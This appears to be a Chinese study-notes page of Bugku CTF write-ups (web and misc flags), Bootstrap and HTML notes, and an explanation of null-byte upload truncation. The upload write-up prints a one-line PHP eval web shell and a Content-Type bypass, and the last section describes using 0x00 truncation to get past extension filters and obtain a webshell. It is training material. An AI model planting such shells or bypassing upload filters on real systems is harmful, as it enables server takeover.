Bugku-Web

#web2

F12查看网页源代码得到Flag
KEY{Web-2-bugKssNNikls9100}

#文件上传测试

要求上传php文件

1
2
3
<?php
eval($_POST[1]);
?>

抓包 提示:非图片文件
修改 Content-Type: image/png
upload successful
Flag:42e97d465f962c53df9549377b513c7e

Bugku-Misc

#签到题

扫描微信二维码加关注后可得
flag{BugKu-Sec-pwn!}

#这是一张单纯的图片

010 editor分析 在最末端发现一段转义序列
&#107;&#101;&#121;&#123;&#121;&#111;&#117;&#32;&#97;&#114;&#101;&#32;&#114;&#105;&#103;&#104;&#116;&#125;
python脚本如下

1
2
3
4
import HTMLParser
parser = HTMLParser.HTMLParser()
s='&#107;&#101;&#121;&#123;&#121;&#111;&#117;&#32;&#97;&#114;&#101;&#32;&#114;&#105;&#103;&#104;&#116;&#125;'
print parser.unescape(s)

key{you are right}

Bootstrap

#Bootstrap框架

<link href="//fonts.gdgdocs.org/css?family=Lobster" rel="stylesheet" type="text/css">添加在html开头
然后把所有的HTML内容放在class为container-fluid的div下

  • img-responsive 图片大小
  • well 视觉上的深度感
  • text-xxxx(red/pink…) 文字颜色
  • text-center 文字格式
  • btn 按钮
  • btn btn-block 使按钮成为行级元素
  • btn-primary 深蓝色按钮属性
  • btn-info 浅蓝色按钮属性
  • btn-danger 红色按钮属性

HTML5&CSS3

#预格式文本

保留输入的文本格式

1
2
3
4
5
6
<pre>
这是
预格式文本。
它保留了 空格
和换行。
</pre>

#缩写和首字母缩写

1
2
3
<abbr title="etcetera">etc.</abbr>
<br />
<acronym title="World Wide Web">WWW</acronym>

截断上传漏洞

#漏洞原理

因为char(0)表示的ascll字符是null,当程序输出包含chr(0)变量时,chr(0)后面的数据会被截断,后面的数据直接忽略,导致漏洞产生。

#0x00截断

0x00截断,00截断是将上传文件名或路径名中使用ascll码值为0的字符(也就是null)来进行截断
1)BP抓包
2)在/Upload/后面加一个空格,点开hex,将其对应的20改成00即可,就可以绕过后缀名的过滤,从而得到webshell